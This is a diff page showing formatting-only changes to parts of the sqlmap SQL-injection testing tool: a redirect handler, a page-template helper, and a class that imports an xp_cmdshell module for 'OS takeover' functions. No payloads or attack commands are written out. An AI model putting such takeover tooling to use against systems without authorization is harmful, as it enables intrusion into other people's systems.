# Dirty hack for http://bugs.python.org/issue15701 # Dirty hack for http://bugs.python.org/issue15701
@ -161,7 +167,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
if not hasattr(result, "read"): if not hasattr(result, "read"):
def _(self, length=None): def _(self, length=None):
try: try:
retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3) retVal = getSafeExString(
ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
except: except:
retVal = "" retVal = ""
return getBytes(retVal) return getBytes(retVal)
@ -189,7 +196,9 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
http_error_301 = http_error_303 = http_error_307 = http_error_302 http_error_301 = http_error_303 = http_error_307 = http_error_302
def _infinite_loop_check(self, req): def _infinite_loop_check(self, req):
if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): if hasattr(req, 'redirect_dict') and (
req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(
req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS):
errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys())
errMsg += "Please check all provided parameters and/or provide missing ones" errMsg += "Please check all provided parameters and/or provide missing ones"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)

View File

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
from lib.core.data import kb from lib.core.data import kb
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def getPageTemplate(payload, place): def getPageTemplate(payload, place):
retVal = (kb.originalPage, kb.errorIsNone) retVal = (kb.originalPage, kb.errorIsNone)

View File

@ -31,6 +31,7 @@ from lib.takeover.xp_cmdshell import XP_cmdshell
from lib.utils.safe2bin import safechardecode from lib.utils.safe2bin import safechardecode
from thirdparty.six.moves import input as _input from thirdparty.six.moves import input as _input
class Abstraction(Web, UDF, XP_cmdshell): class Abstraction(Web, UDF, XP_cmdshell):
""" """
This class defines an abstraction layer for OS takeover functionalities This class defines an abstraction layer for OS takeover functionalities

Some files were not shown because too many files have changed in this diff Show More